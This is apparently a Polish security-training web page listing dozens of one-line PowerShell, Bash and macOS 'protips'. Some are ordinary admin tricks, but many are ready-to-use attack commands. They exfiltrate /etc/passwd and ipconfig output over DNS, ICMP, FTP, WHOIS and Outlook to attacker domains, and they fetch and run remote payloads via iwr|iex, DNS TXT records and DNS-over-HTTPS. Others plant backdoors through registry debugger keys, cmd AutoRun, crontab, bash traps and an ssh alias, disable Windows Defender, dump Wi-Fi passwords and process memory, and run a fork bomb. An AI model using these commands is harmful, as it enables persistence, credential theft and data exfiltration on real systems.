Komendy, triki i jednolinijkowce z prawdziwych zleceń — PowerShell, Bash, Windows, macOS i sprzęt. Każdy protip to gotowy do użycia fragment z krótkim wyjaśnieniem.
Eksfiltracja DNS w jednym wierszu — cały ipconfig zakodowany w zapytaniach DNS.
Oznacz plik jako ukryty (Hidden) w wierszu poleceń cmd.exe.
(Get-Item malware.pdf.js).Attributes += 'Hidden' - ukryj plik lub katalog w Windowsie
Aby w Chrome ominąć wyjątek bezpieczeństwa — po prostu to wpisz.
dism /online /enable-feature /featureName:TelnetClient - instalacja oficjalnego klienta telnet na Windowsie, by obejrzeć Gwiezdne wojny, połączyć się z BBS-em lub odebrać pocztę jak pro
Schowaj wszystkie ikony z pulpitu macOS.
Eksfiltracja danych głośnikiem w stylu R2-D2.
Kolejny sposób blokowania ekranu PowerShellem: (Add-Type -m '[DllImport("user32.dll")]public static extern bool LockWorkStation();' -Name "Lock" -pas)::LockWorkStation()
Add-Type -t 'public class User32 {[System.Runtime.InteropServices.DllImport("user32.dll")] public static extern bool LockWorkStation();}'; [User32]::LockWorkStation() - zablokuj ekran PowerShellem
rundll32 user32,LockWorkStation - zablokuj ekran z wiersza poleceń
while read -r line; do echo "Linia: $line"; done - jeden ze sposobów czytania linijka po linijce z pliku
Add-Type -t 'public class Foo { public static void Main(){ System.Console.WriteLine("Ciekawe te protipy!");}}';[Foo]::Main() - uruchom kod C# prosto z PowerShella
Gadający PowerShell: Add-Type -AssemblyName System.Speech; [Speech.Synthesis.SpeechSynthesizer]::new().Speak("Fajne te protipy")
(Get-Date)-(gcim Win32_OperatingSystem).LastBootUpTime - uptime w Windows PowerShellu
Skaner portów TCP w czystym bashu.
Podręczny skaner portów w PowerShellu: 22,443,2083,8880,31337|%{"$_ - "+([Net.Sockets.TcpClient]::new()).ConnectAsync("berkeley.edu", $_).Wait(1000)}2>$null
ps uax | grep [p]wsh - odnajdź wśród procesów tekst pwsh, jednak pomiń proces z grepem
Start-Process -Verb RunAs powershell.exe - uruchom proces powershell.exe z uprawnieniami administratora
Żeby przyjemniej się pracowało w Windows PowerShellu (5.1), zainstaluj nowy PSReadLine: Install-Module -Name PSReadLine -AllowClobber -Force
tail -F access.log wyświetla aktualnie dopisywaną zawartość pliku, nawet kiedy zostanie on usunięty i stworzony na nowo (czego nie robi tail -f access.log)
& "C:\Program Files\Wireshark shark.exe" -i Wi-Fi -l -T fields -e data "icmp[0]=8" | % { -join ($_ -split "(.{2})" -match "." | % { [char][byte]"0x$_"}) } - wyświetl payload pakietów ICMP
Dodaj kolejny katalog do zmiennej środowiskowej PATH dla wszystkich: [Environment]::SetEnvironmentVariable('Path', [Environment]::GetEnvironmentVariable('Path','Machine')+';C:\Program Files\Wireshark', 'Machine')
Get-Command -Type Application - lista binarek z $env:PATH, by móc zapolować na LOLBiny niczym @0gtweet
Nie wyobrażam sobie poważnej pracy po ssh bez screen-a. Najczęściej wykorzystywane u mnie skróty: CTRL+a c, CTRL+a n, CTRL+a p, CTRL+a A, CTRL+a ", CTRL+a ESC
Eksfiltracja po ICMP w jednym wierszu: (ipconfig|Out-String) -split "(?s)(.{1472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100, ([Text.Encoding]::UTF8).GetBytes($_))}
watch -n 5 w - co 5 sekund wyświetlaj listę zalogowanych użytkowników wraz z kilkoma pożytecznym informacjami
(New-Object -ComObject Outlook.Application).session.GetDefaultFolder(10).items|select FullName,MobileTelephoneNumber,Email1Address|ft -a - pobranie kontaktów z Outlooka
ipconfig Outlookiem: $m=(New-Object -c Outlook.Application).CreateItem(0);$m.To="darklord@localhost";$m.Subject="ip";$m.Body=(ipconfig|out-string);$m.Send()
sudo lsof -Pn -sTCP:LISTEN -i4TCP - wyświetl aplikacje nasłuchujące na portach TCP IPv4
CTRL+SHIFT+ESCAPE - uruchom Menedżer zadań
Skróty (.lnk) pod lupą: gci *.lnk | % { (New-Object -com WScript.Shell).CreateShortcut($_)} | select fullname,targetpath,arguments | fl
sed -i s/root/toor/g /etc/passwd - zmień frazy root na toor w pliku /etc/passwd
Get-PnpDevice -PresentOnly - wyświetl aktualnie podłączone urządzenia Plug and Play
WebSockety w Powershellu, czyli aktualnie rejestrowane certyfikaty SSL na żywo: iwr aptm.in/g/certstream|iex; Invoke-CertStream
-join [char[]]$arr - szybki, sprytny sposób na zamianę tablicy bajtów na łańcuch znaków
Powiesiła Ci się sesja ssh i chcesz ją zabić, odzyskując terminal? Użyj ~.
Szybki upload FTP? Easy! [Net.WebClient]::New().UploadFile("ftp://key:logger@ftp.aptmc.pl/key.log", (gi "key.log"))
Lista subdomen cia.gov na podstawie rejestrowanych certyfikatów: curl -s 'https://crt.sh?output=json&q=cia.gov'|jq '.[].name_value'|sort -u
(irm crt.sh -b @{output="json";q="cia.gov"}).name_value|sort -u - lista domen w cia.gov na podstawie rejestrowanych certyfikatów
for a in /proc/[0-9]*; do echo -n "`basename $a` (`stat -c %U:%G $a`) "; cat $a/cmdline|tr "\0" " "; echo ; done|sort -n - lista procesów bez polecenia ps
Wykorzystując mikrokontroler ATmega32U4 łatwo zbudujemy własny pendrive-klawiaturę niczym Rubber Ducky
(netsh wl sh net) -match "^SSID" - lista dostępnych sieci WiFi
Przekieruj wynik polecenia bezpośrednio do wygodnego przetwarzania w vimie: ps uax | vim -
Restart-Computer - zrestartuj komputer. Po prostu.
(iwr thehackernews.com).Links.Href | sls '/20' - pobierz linki do ostatnich artykułów na thehackernews.com
ni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" | sp -name Debugger -Value "powershell -c iwr aptmc.pl/calc|iex #" - dodaj backdoor uruchamiany zamiast startu MS Painta
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'DELETE from LSQuarantineEvent' - usuń historię pobranych plików na MacOS z kwarantanny
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select DISTINCT LSQuarantineDataURLString from LSQuarantineEvent' - pokaż historię pobranych plików na MacOS
filter fb64 { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)) } - przydatny filtr do dekodowania Base64
ssh -t drg@host "screen -dRS foo" - i zrywane sesje SSH nie straszne
cat /etc/passwd | pbcopy - wrzuć zawartość wskazanego pliku prosto do schowka
Get-MpThreatDetection - wyświetl zidentyfikowane przez Windows Defendera zagrożenia
Get-MpPreference - wyświetl konfigurację Windows Defendera
Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend - wyłącz Windows Defendera niczym Trickbot, REvil Ransomware czy inny malware
ping -a 10.0.0.1 - powiadom dźwiękowo, kiedy pingowany host wróci
powershell -w h -enc (gp HKCU:\Software\Microsoft\Windows).Signature - uruchom payload ukryty wcześniej w rejestrze, zakodowany w base64
Zmień/stwórz nową wartość w rejestrze: sp HKCU:\Software\Microsoft\Windows Signature "YwBhAGwAYwA="
Twój oneliner jest coraz dłuższy? Użyj fc, żeby edytować poprzednie polecenie w domyślnym edytorze tekstu
caffeinate -i - nie pozwól, by macbook usnął
$env:PSExecutionPolicyPreference = "Bypass" - jeden ze sposobów ominięcia Polityki Uruchamiania Skryptów (ExecutionPolicy)
trap '`curl -ksL aptmc.pl/trap/`' EXIT - backdoor uruchamiający złośliwy payload po zakończeniu sesji terminala
(gcm ssh).source - wyświetl pełną ścieżkę do polecenia ssh
log show --style compact --predicate 'process == "sharingd" && eventMessage CONTAINS "WiFi join start"' --last 1d - pokaż z jakimi WiFi łączył się ostatnio Mac
Parametr -Wait cmdletu Get-Content pozwoli monitorować nowe linie dopisywane do pliku
Monitorowanie plików na żywo może być wygodniejsze z wykorzystaniem less +F zamiast tail -f
(sv -o a -p password "").Attributes.Add([ValidateScript]({irm "aptmc.pl/?$_";return $true;})) - eksfiltruj zmienną password kiedy tylko zostanie ustawiona
netsh wlan export profile folder=. key=clear - wyeksportuj sieci WiFi wraz z hasłami
mdls -name kMDItemWhereFroms plik.zip - pokaż skąd został pobrany plik plik.zip
Get-ScheduledTask|%{[pscustomobject]@{Name=$_.TaskName;Execute=$_.Actions.Execute;Args=$_.Actions.Arguments}}|Out-GridView - zapoluj na złośliwe zadania
pbpaste - wykradnij zawartość schowka w macOS X
Get-Service | ConvertTo-Html > services.html - eksportuj listę usług do HTML
Get-NetIPAddress -AddressState Preferred|select IPAddress,InterfaceAlias - wyświetl aktywne interfejsy sieciowe i ich IP
gc -head 10 plik.txt, gc -tail 10 plik.txt - wyświetl odpowiednio 10 pierwszych linijek i 10 ostatnich linijek pliku
Polowanie na latające po sieci hasła: tcpdump -n -i any -A -l port http or port ftp or port smtp or port imap or port pop3|grep --color -Ei -C 2 'authorization:|pass=|pwd=|login=|user=|username=|user |pass '
gci -r $HOME|gi -s *|where Stream -ne ':$DATA'|select Filename,Stream - znajdź w katalogu domowym użytkownika pliki, które posiadają ukrytą zawartość jako Alternate Data Streams
_(){ _|_& };_ - bashowa fork bomba pozwalająca sprawdzić poprawność konfiguracji systemów Unix/Linux
for(){$p=(gps|Sort-Object -D CPU|Select -First ($Host.UI.RawUI.WindowSize.Height-4)|Out-String).trim();cls;""+(date);$p;sleep 1} - *nixowy top w Powershellu
New-Item -Path "HKCU:\Software\Microsoft\Command Processor" -Force|Set-ItemProperty -Name AutoRun -Value "mspaint" - dodaj backdoora, który przy uruchamianiu cmd.exe uruchomi również coś dla zabicia nudy
Warto czasem spojrzeć, czy nie były podłączane podejrzane klawiatury: ls HKLM:\SYSTEM\CurrentControlSet\Enum\HID\*
Symulacja klawiatury Powershellem? Czemu nie: Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('^{ESC}calc.exe{ENTER}')
$i=gp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU; $i.MRUList.ToCharArray()|%{$i.$_} - pokaż ostatnio uruchamiane polecenia
for a in $(cat /etc/passwd|openssl base64); do curl -s ftp://exfil.aptmc.pl/test_$a -O /dev/null; done - eksfiltruj dane pod płaszczem zapytań FTP
python -m pyftpdlib -p 21 -w - uruchom anonimowy serwer FTP do zapisu
1..254 | % {Resolve-DnsName x.x.x.$_ -ErrorAction SilentlyContinue} - rekonesans RevDNS
$ErrorActionPreference = "SilentlyContinue" - nie wyświetlaj (krytycznych) błędów i cichutko kontynuuj wykonywanie
echo 'PROMPT_COMMAND="history -a"' >> ~/.profile - aktualizuj ~/.bash_history na bieżąco
filter tb64 { [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($_)) } - przydatny filtr do kodowania Base64
while(1) { if ((Get-Clipboard) -match "\.exe") { Set-Clipboard "calc.exe" } sleep 1 } - malutkie nadużycie schowka
less -r <plik> - czytaj <plik> wyświetlając kolory i inne znaki sterujące
ls env: wyświetli zmienne środowiskowe
ls HKCU:\Software\Sysinternals|select Name - pokaż które narzędzia z Sysinternals (np. PsExec) były używane
curl -i https://nasa.gov/ - wyświetl odpowiedź serwera HTTP wraz z nagłówkami
([adsisearcher]"objectCategory=computer").FindAll() - pobierz listę komputerów z Active Directory
Get-Acl pomoże szybko sprawdzić uprawnienia zarówno do plików/katalogów jak i kluczy w rejestrze
rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 555 555.dmp full - zapisz zrzut pamięci procesu o ID 555
Powershellowy Select-String pomoże odnaleźć interesujące stringi niczym grep
strings.exe z pakietu Sysinternals pomoże szybko analizować tekst w plikach binarnych
Potrzebujesz wrócić do zagłębionego katalogu, z którego przez przypadek wyszedłeś? Ratunkiem będzie cd -
whois -h aptm.in "$(cat /etc/passwd)" - eksfiltruj dane z wykorzystaniem usługi WHOIS
Wyświetl internetowe połączenia TCP: Get-NetTCPConnection -AppliedSetting Internet
Get-FileHash c:\Windows\System32\cmd.exe - wyświetl hash SHA256 pliku
Get-DnsClientCache|select data,entry|fl - pokaż cache DNS
ssh -L 8080:intranet:80 aptm.in - tuneluj intranet:80 dostępny z aptm.in do localhost:8080
ssh -R :8080:localhost:80 aptm.in - udostępnij lokalny port 80 na aptm.in:8080
Uruchom autoruns.exe prosto z linii poleceń: \\live.sysinternals.com ools\autoruns.exe i zobacz co startuje
Payload DNS-over-HTTPS dla *nixów: curl -ks "https://dns.google/resolve?name=echo.aptmc.pl&type=txt"|jq '.Answer[0].data'|tr -d '"\'|base64 -d|sh
Infiltracja po DNS-over-HTTPS: (irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data|iex|iex
ps|gm - dzięki Get-Member (gm) poznasz co ma do zaoferowania zwracany obiekt
host -t txt echo.aptmc.pl|awk -F'"' '{ print $2 }'|openssl base64 -d|sh - uruchom payload z DNS na *nixach
Pobierz i uruchom payload po DNS: [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))|iex
docker run -p 8080:8080 remnux/cyberchef - własna instancja CyberChefa na porcie 8080
socat -T 7 TCP-LISTEN:2048,pktinfo,fork,reuseaddr SYSTEM:'cat > loots/tcp/$SOCAT_PEERADDR.$$.txt' - uniwersalny listener
Szybka eksfiltracja pliku po HTTP: iwr -me po -i <plik> http://<host:port>
cat (Get-PSReadLineOption).HistorySavePath - wyświetl historię poleceń Powershella
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; Start-Service sshd - serwer ssh na Windowsie
ssh -D 2048 user@host - wykorzystaj zdalny host ssh jako szyfrowane proxy
(netsh wlan show profiles)|%{$n=(""+($_ -split ":")[1]).trim(); netsh wlan show profile name="$n" key=clear}|sls "Key Content","SSID name" - hasła WiFi na tacy
whoami /all - coś więcej niż gołe whoami
ps | Out-GridView - i życie staje się wygodniejsze
socat TCP-LISTEN:2048,fork,reuseaddr STDIO - obsłuż wielu klientów na porcie 2048
(ls "HKCU:\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords").Property - pokaż dokumenty Microsoft Office, którym zaufał użytkownik
gp HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - pokaż co jest uruchamiane po zalogowaniu
iptables -t nat -p tcp -I PREROUTING -m multiport --dports 50:65535 -j REDIRECT --to-port 22 - przekieruje wszystkie połączenia TCP od portu 50 w górę na port 22
Podgląd payloadu ICMP w Scapy: python3 -c 'from scapy.all import *; sniff(filter="icmp and icmp[0]=8", prn=(lambda x: print(x[1].src, x[ICMP].load) if hasattr(x[ICMP], "load") else None ))'
hping3 --icmp -d 1000 aptm.in --file /etc/passwd - eksfiltracja po ICMP pliku /etc/passwd
Eksfiltracja po DNS? Proszę bardzo: iwr aptm.in/g/dnsex|iex; whoami|Invoke-DNSExfil foo.aptmc.pl
iwr aptm.in/g/icmpex|iex; ipconfig|Invoke-ICMPExfil aptm.in - eksfiltracja danych po ICMP w Powershellu to bajka
setspn.exe -Q MSSQLSvc/* błyskawicznie wyciągnie wszystkie usługi MSSQL z AD
(crontab -l; echo '0 4 * * * curl -ksL aptm.in/czwarta|sh') | crontab - może być zupełnie skutecznym backdoorem na Linux/Unix/MacOS
Wykorzystaj cmdlet Start-Transcript, żeby zapisać transkrypt dla istotnych sesji
gp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*"|where Debugger|select PSChildName,Debugger - jeśli wynik nie jest pusty - masz Problem
alias ssh="ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes" - bardzo fajny/bardzo groźny backdoor, zwłaszcza na hoście przesiadkowym
docker run -p 443:443 mikesplain/openvas - uruchomienie działającego OpenVAS z wykorzystaniem Dockera
for i in {1..254}; do host x.x.x.$i|grep -v NXDOMAIN; done - szybki revdns recon danej sieci /24
(irm ipinfo.io/json).ip - szybki sposób na uzyskanie zewnętrznego adresu IP
Udostępnij po HTTP na porcie 8000 aktualny katalog: python -m SimpleHTTPServer (Python2)
Szybki reverse shell w czystym bashu.
Istotnie ogranicz możliwości złośliwych skryptów.
// brak protipów w tej kategorii
// pełne archiwum protipów na aptmasterclass.com
Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.